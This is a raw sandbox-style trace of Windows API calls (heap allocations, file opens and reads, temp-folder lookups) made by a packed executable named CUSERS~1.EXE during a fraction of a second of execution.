returned 1 [0073.600] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fbf0 [0073.600] GetLastError () returned 0x0 [0073.600] GetLastError () returned 0x0 [0073.600] GetLastError () returned 0x0 [0073.600] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a00 [0073.600] GetLastError () returned 0x0 [0073.600] GetLastError () returned 0x0 [0073.600] GetLastError () returned 0x0 [0073.600] GetLastError () returned 0x0 [0073.600] GetLastError () returned 0x0 [0073.600] GetLastError () returned 0x0 [0073.600] GetLastError () returned 0x0 [0073.600] GetLastError () returned 0x0 [0073.600] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17a00, Size=0x20) returned 0x2a1fb78 [0073.600] GetLastError () returned 0x0 [0073.600] GetLastError () returned 0x0 [0073.600] GetLastError () returned 0x0 [0073.600] GetLastError () returned 0x0 [0073.600] GetLastError () returned 0x0 [0073.600] GetLastError () returned 0x0 [0073.600] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbf0 | out: hHeap=0x2ad0000) returned 1 [0073.600] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178b0 [0073.600] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ae60 | out: hHeap=0x2ad0000) returned 1 [0073.600] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1fbc8, Size=0x54) returned 0x2a6d610 [0073.600] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178b0 | out: hHeap=0x2ad0000) returned 1 [0073.600] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fb78 | out: hHeap=0x2ad0000) returned 1 [0073.600] GetCurrentThreadId () returned 0x9b0 [0073.601] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0073.601] GetCurrentThreadId () returned 0x9b0 [0073.601] GetCurrentThreadId () returned 0x9b0 [0073.601] GetCurrentThreadId () returned 0x9b0 [0073.601] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17940 [0073.601] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17940 | out: hHeap=0x2ad0000) returned 1 [0073.601] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x100) returned 0x2acc480 [0073.601] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acc480 | out: hHeap=0x2ad0000) returned 1 [0073.601] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x20) returned 0x2a1fbf0 [0073.601] GetLastError () returned 0x0 [0073.601] GetLastError () returned 0x0 [0073.601] GetLastError () returned 0x0 [0073.601] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178f8 [0073.601] GetLastError () returned 0x0 [0073.601] GetLastError () returned 0x0 [0073.601] GetLastError () returned 0x0 [0073.601] GetLastError () returned 0x0 [0073.601] GetLastError () returned 0x0 [0073.601] GetLastError () returned 0x0 [0073.601] GetLastError () returned 0x0 [0073.601] GetLastError () returned 0x0 [0073.601] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c178f8, Size=0x20) returned 0x2a1fba0 [0073.601] GetLastError () returned 0x0 [0073.601] GetLastError () returned 0x0 [0073.601] GetLastError () returned 0x0 [0073.601] GetLastError () returned 0x0 [0073.601] GetLastError () returned 0x0 [0073.601] GetLastError () returned 0x0 [0073.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fbf0 | out: hHeap=0x2ad0000) returned 1 [0073.602] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17868 [0073.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a488 | out: hHeap=0x2ad0000) returned 1 [0073.602] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a6d610, Size=0x8c) returned 0x2ac0130 [0073.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17868 | out: hHeap=0x2ad0000) returned 1 [0073.602] GetCurrentThreadId () returned 0x9b0 [0073.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1fba0 | out: hHeap=0x2ad0000) returned 1 [0073.602] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afa0 [0073.602] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8b020 [0073.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afa0 | out: hHeap=0x2ad0000) returned 1 [0073.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c0dce8 | out: hHeap=0x2ad0000) returned 1 [0073.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0ad8 | out: hHeap=0x2ad0000) returned 1 [0073.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17988 | out: hHeap=0x2ad0000) returned 1 [0073.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ac0130 | out: hHeap=0x2ad0000) returned 1 [0073.602] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0f568 [0073.602] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0d850 [0073.602] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8ae90 [0073.602] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71900 [0073.602] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17880 [0073.602] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aeb0 [0073.602] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8b010 [0073.602] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8aeb0, Size=0x14) returned 0x2a71880 [0073.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b010 | out: hHeap=0x2ad0000) returned 1 [0073.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17880 | out: hHeap=0x2ad0000) returned 1 [0073.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71900 | out: hHeap=0x2ad0000) returned 1 [0073.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae90 | out: hHeap=0x2ad0000) returned 1 [0073.602] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71880 | out: hHeap=0x2ad0000) returned 1 [0073.602] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18088, Size=0x20) returned 0x2a1fad8 [0073.602] GetCurrentThreadId () returned 0x9b0 [0073.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8afa0 [0073.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a71900 [0073.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c178c8 [0073.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af50 [0073.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af20 [0073.603] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af50, Size=0x14) returned 0x2a71940 [0073.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af20 | out: hHeap=0x2ad0000) returned 1 [0073.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c178c8 | out: hHeap=0x2ad0000) returned 1 [0073.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71900 | out: hHeap=0x2ad0000) returned 1 [0073.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8afa0 | out: hHeap=0x2ad0000) returned 1 [0073.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71940 | out: hHeap=0x2ad0000) returned 1 [0073.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a48 [0073.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af50 [0073.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x18) returned 0x2a718c0 [0073.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c179e8 [0073.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8afa0 [0073.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af70 [0073.603] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8afa0, Size=0x14) returned 0x2a716e0 [0073.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af70 | out: hHeap=0x2ad0000) returned 1 [0073.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c179e8 | out: hHeap=0x2ad0000) returned 1 [0073.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718c0 | out: hHeap=0x2ad0000) returned 1 [0073.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af50 | out: hHeap=0x2ad0000) returned 1 [0073.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716e0 | out: hHeap=0x2ad0000) returned 1 [0073.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0dce8 [0073.603] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2c0dff8 [0073.603] GetCurrentThreadId () returned 0x9b0 [0073.603] GetCurrentThreadId () returned 0x9b0 [0073.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.603] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.604] GetCurrentThreadId () returned 0x9b0 [0073.604] GetCurrentThreadId () returned 0x9b0 [0073.604] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a7d0 [0073.604] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a488 [0073.604] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0073.604] GetCurrentThreadId () returned 0x9b0 [0073.604] GetCurrentThreadId () returned 0x9b0 [0073.604] GetCurrentThreadId () returned 0x9b0 [0073.604] GetCurrentThreadId () returned 0x9b0 [0073.604] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0073.604] GetCurrentThreadId () returned 0x9b0 [0073.604] GetCurrentThreadId () returned 0x9b0 [0073.604] GetLastError () returned 0x0 [0073.604] GetLastError () returned 0x0 [0073.604] GetLastError () returned 0x0 [0073.604] GetLastError () returned 0x0 [0073.604] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x25) returned 0x2a1ff88 [0073.604] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17a00 [0073.604] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17a00 | out: hHeap=0x2ad0000) returned 1 [0073.604] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2a8b050 [0073.604] GetLastError () returned 0x0 [0073.604] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\Desktop\\CUSERS~1.EXE" (normalized: "c:\\users\\fd1hvy\\desktop\\cusers~1.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba508, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1e8 [0073.604] GetFileType (hFile=0x1e8) returned 0x1 [0073.604] GetLastError () returned 0x0 [0073.604] GetCurrentThreadId () returned 0x9b0 [0073.604] GetLastError () returned 0x0 [0073.605] GetFileType (hFile=0x1e8) returned 0x1 [0073.605] GetFileInformationByHandle (in: hFile=0x1e8, lpFileInformation=0x9ba584 | out: lpFileInformation=0x9ba584) returned 1 [0073.605] FileTimeToLocalFileTime (in: lpFileTime=0x9ba598, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.605] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.605] FileTimeToLocalFileTime (in: lpFileTime=0x9ba590, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.605] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.605] FileTimeToLocalFileTime (in: lpFileTime=0x9ba588, lpLocalFileTime=0x9ba5c8 | out: lpLocalFileTime=0x9ba5c8) returned 1 [0073.605] FileTimeToSystemTime (in: lpFileTime=0x9ba5c8, lpSystemTime=0x9ba5b8 | out: lpSystemTime=0x9ba5b8) returned 1 [0073.605] GetLastError () returned 0x0 [0073.605] GetCurrentThreadId () returned 0x9b0 [0073.605] GetLastError () returned 0x0 [0073.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8b050 | out: hHeap=0x2ad0000) returned 1 [0073.605] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ff88 | out: hHeap=0x2ad0000) returned 1 [0073.605] GetLastError () returned 0x0 [0073.605] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=8181109, lpDistanceToMoveHigh=0x9ba638*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba638*=0) returned 0x7cd575 [0073.605] GetLastError () returned 0x0 [0073.605] GetCurrentThreadId () returned 0x9b0 [0073.605] GetLastError () returned 0x0 [0073.605] GetCurrentThreadId () returned 0x9b0 [0073.605] GetLastError () returned 0x0 [0073.605] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=7319780, lpDistanceToMoveHigh=0x9ba9d0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x9ba9d0*=0) returned 0x6fb0e4 [0073.605] GetLastError () returned 0x0 [0073.605] GetCurrentThreadId () returned 0x9b0 [0073.605] GetLastError () returned 0x0 [0073.605] GetCurrentThreadId () returned 0x9b0 [0073.605] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4de) returned 0x2c35f68 [0073.606] GetLastError () returned 0x0 [0073.606] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1000) returned 0x2c36450 [0073.606] ReadFile (in: hFile=0x1e8, lpBuffer=0x2c36450, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x9ba984, lpOverlapped=0x0 | out: lpBuffer=0x2c36450*, lpNumberOfBytesRead=0x9ba984*=0x1000, lpOverlapped=0x0) returned 1 [0073.606] GetLastError () returned 0x0 [0073.606] GetCurrentThreadId () returned 0x9b0 [0073.606] GetLastError () returned 0x0 [0073.606] GetCurrentThreadId () returned 0x9b0 [0073.606] GetCurrentThreadId () returned 0x9b0 [0073.606] GetLastError () returned 0x0 [0073.607] SetFilePointer (in: hFile=0x1e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x9b965c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x9b965c*=0) returned 0x6fc0e4 [0073.607] GetLastError () returned 0x0 [0073.607] GetCurrentThreadId () returned 0x9b0 [0073.607] GetLastError () returned 0x0 [0073.607] GetLastError () returned 0x0 [0073.607] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c36450 | out: hHeap=0x2ad0000) returned 1 [0073.607] CloseHandle (hObject=0x1e8) returned 1 [0073.607] GetLastError () returned 0x0 [0073.607] GetCurrentThreadId () returned 0x9b0 [0073.607] GetLastError () returned 0x0 [0073.607] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1bd0) returned 0x2c36450 [0073.607] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4015) returned 0x2bb9c68 [0073.607] GetLastError () returned 0x0 [0073.607] GetCurrentThreadId () returned 0x9b0 [0073.607] GetLastError () returned 0x0 [0073.607] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c36450 | out: hHeap=0x2ad0000) returned 1 [0073.607] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2bb9c68, Size=0xac7) returned 0x2bb9c68 [0073.607] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c35f68 | out: hHeap=0x2ad0000) returned 1 [0073.607] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17af0 [0073.607] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c17af0, Size=0x20) returned 0x2a1f8a8 [0073.607] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a1f8a8, Size=0x40) returned 0x2a19130 [0073.607] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19130, Size=0x64) returned 0x2a19ab8 [0073.607] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a19ab8, Size=0x8c) returned 0x2ac0878 [0073.607] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac0878, Size=0xb8) returned 0x2ac1978 [0073.607] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac1978, Size=0xe8) returned 0x2ac2e30 [0073.607] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ac2e30, Size=0x120) returned 0x2ba5ac0 [0073.607] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba5ac0, Size=0x160) returned 0x2ba6be0 [0073.608] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba6be0 | out: hHeap=0x2ad0000) returned 1 [0073.608] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2bb9c68 | out: hHeap=0x2ad0000) returned 1 [0073.608] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xf8) returned 0x2acc480 [0073.608] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2acc480 | out: hHeap=0x2ad0000) returned 1 [0073.608] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8aeb0 [0073.608] GetCurrentThreadId () returned 0x9b0 [0073.608] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ab9e20 [0073.608] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x2bb97c0 [0073.608] GetCurrentThreadId () returned 0x9b0 [0073.608] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.608] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.608] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.608] GetCurrentThreadId () returned 0x9b0 [0073.608] GetCurrentThreadId () returned 0x9b0 [0073.608] GetCurrentThreadId () returned 0x9b0 [0073.608] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab5bd0 [0073.608] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab5bd0 | out: hHeap=0x2ad0000) returned 1 [0073.608] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab5bd0 [0073.608] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ab5bd0, Size=0x14) returned 0x2ab5bd0 [0073.608] GetCurrentThreadId () returned 0x9b0 [0073.608] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab5bd0 | out: hHeap=0x2ad0000) returned 1 [0073.608] GetCurrentThreadId () returned 0x9b0 [0073.608] GetCurrentThreadId () returned 0x9b0 [0073.608] GetLastError () returned 0x0 [0073.608] GetLastError () returned 0x0 [0073.609] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\email", lpFindFileData=0x9ba3b8 | out: lpFindFileData=0x9ba3b8*(dwFileAttributes=0x29ef3f0, ftCreationTime.dwLowDateTime=0x2bf68e0, ftCreationTime.dwHighDateTime=0x2a72740, ftLastAccessTime.dwLowDateTime=0x7f, ftLastAccessTime.dwHighDateTime=0x2bf68e0, ftLastWriteTime.dwLowDateTime=0x9ba3e8, ftLastWriteTime.dwHighDateTime=0x72fbb915, nFileSizeHigh=0x9ba3fc, nFileSizeLow=0x73013d47, dwReserved0=0x9ba3f4, dwReserved1=0x0, cFileName="\xdc\xa4\x9b", cAlternateFileName="")) returned 0xffffffff [0073.609] GetLastError () returned 0x2 [0073.609] GetLastError () returned 0x2 [0073.609] GetLastError () returned 0x2 [0073.609] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\email", nBufferLength=0x104, lpBuffer=0x9ba4f8, lpFilePart=0x9ba350 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\email", lpFilePart=0x9ba350*="email") returned 0x31 [0073.609] GetLastError () returned 0x2 [0073.609] GetLastError () returned 0x2 [0073.609] GetLastError () returned 0x2 [0073.609] GetLastError () returned 0x2 [0073.609] GetLastError () returned 0x2 [0073.609] FindFirstFileA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1", lpFindFileData=0x9ba3b8 | out: lpFindFileData=0x9ba3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdd4b7ceb, ftCreationTime.dwHighDateTime=0x1d5215d, ftLastAccessTime.dwLowDateTime=0xe2f4b867, ftLastAccessTime.dwHighDateTime=0x1d5215d, ftLastWriteTime.dwLowDateTime=0xe2f4b867, ftLastWriteTime.dwHighDateTime=0x1d5215d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe9bb, dwReserved1=0x0, cFileName="_MEI11842", cAlternateFileName="_MEI11~1")) returned 0x1055820 [0073.609] FileTimeToLocalFileTime (in: lpFileTime=0x9ba3cc, lpLocalFileTime=0x9ba39c | out: lpLocalFileTime=0x9ba39c) returned 1 [0073.609] FileTimeToSystemTime (in: lpFileTime=0x9ba39c, lpSystemTime=0x9ba3a4 | out: lpSystemTime=0x9ba3a4) returned 1 [0073.609] FileTimeToLocalFileTime (in: lpFileTime=0x9ba3c4, lpLocalFileTime=0x9ba39c | out: lpLocalFileTime=0x9ba39c) returned 1 [0073.609] FileTimeToSystemTime (in: lpFileTime=0x9ba39c, lpSystemTime=0x9ba3a4 | out: lpSystemTime=0x9ba3a4) returned 1 [0073.609] FileTimeToLocalFileTime (in: lpFileTime=0x9ba3bc, lpLocalFileTime=0x9ba39c | out: lpLocalFileTime=0x9ba39c) returned 1 [0073.609] FileTimeToSystemTime (in: lpFileTime=0x9ba39c, lpSystemTime=0x9ba3a4 | out: lpSystemTime=0x9ba3a4) returned 1 [0073.609] FindClose (in: hFindFile=0x1055820 | out: hFindFile=0x1055820) returned 1 [0073.609] GetLastError () returned 0x2 [0073.609] GetCurrentThreadId () returned 0x9b0 [0073.609] GetCurrentThreadId () returned 0x9b0 [0073.610] GetCurrentThreadId () returned 0x9b0 [0073.610] GetCurrentThreadId () returned 0x9b0 [0073.610] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.610] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a370 | out: hHeap=0x2ad0000) returned 1 [0073.610] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.610] GetCurrentThreadId () returned 0x9b0 [0073.610] GetCurrentThreadId () returned 0x9b0 [0073.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8ae60 [0073.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17af0 [0073.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2c17b50 [0073.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2a8af90 [0073.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2a8af20 [0073.610] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a8af90, Size=0x14) returned 0x2a71620 [0073.610] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8af20 | out: hHeap=0x2ad0000) returned 1 [0073.610] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17b50 | out: hHeap=0x2ad0000) returned 1 [0073.610] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2c17af0 | out: hHeap=0x2ad0000) returned 1 [0073.610] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ae60 | out: hHeap=0x2ad0000) returned 1 [0073.610] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2ac70d8 [0073.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ab5bd0 [0073.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x1c) returned 0x2a1f8f8 [0073.610] GetCurrentThreadId () returned 0x9b0 [0073.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2c12290 [0073.610] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab9e20 | out: hHeap=0x2ad0000) returned 1 [0073.610] GetCurrentThreadId () returned 0x9b0 [0073.610] GetCurrentThreadId () returned 0x9b0 [0073.610] GetCurrentThreadId () returned 0x9b0 [0073.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a5a0 [0073.610] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a8e8 [0073.611] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1ad48 [0073.611] GetCurrentThreadId () returned 0x9b0 [0073.611] GetCurrentThreadId () returned 0x9b0 [0073.611] GetCurrentThreadId () returned 0x9b0 [0073.611] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.611] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x2ba3a50 [0073.643] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ba3a50, Size=0x14) returned 0x2ba3a50 [0073.643] GetCurrentThreadId () returned 0x9b0 [0073.643] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ba3a50 | out: hHeap=0x2ad0000) returned 1 [0073.643] GetCurrentThreadId () returned 0x9b0 [0073.643] GetCurrentThreadId () returned 0x9b0 [0073.643] GetCurrentThreadId () returned 0x9b0 [0073.643] GetCurrentThreadId () returned 0x9b0 [0073.643] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1ad48 | out: hHeap=0x2ad0000) returned 1 [0073.643] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a8e8 | out: hHeap=0x2ad0000) returned 1 [0073.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a6b8 [0073.643] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a370 [0073.643] GetCurrentThreadId () returned 0x9b0 [0073.643] GetCurrentThreadId () returned 0x9b0 [0073.644] GetCurrentThreadId () returned 0x9b0 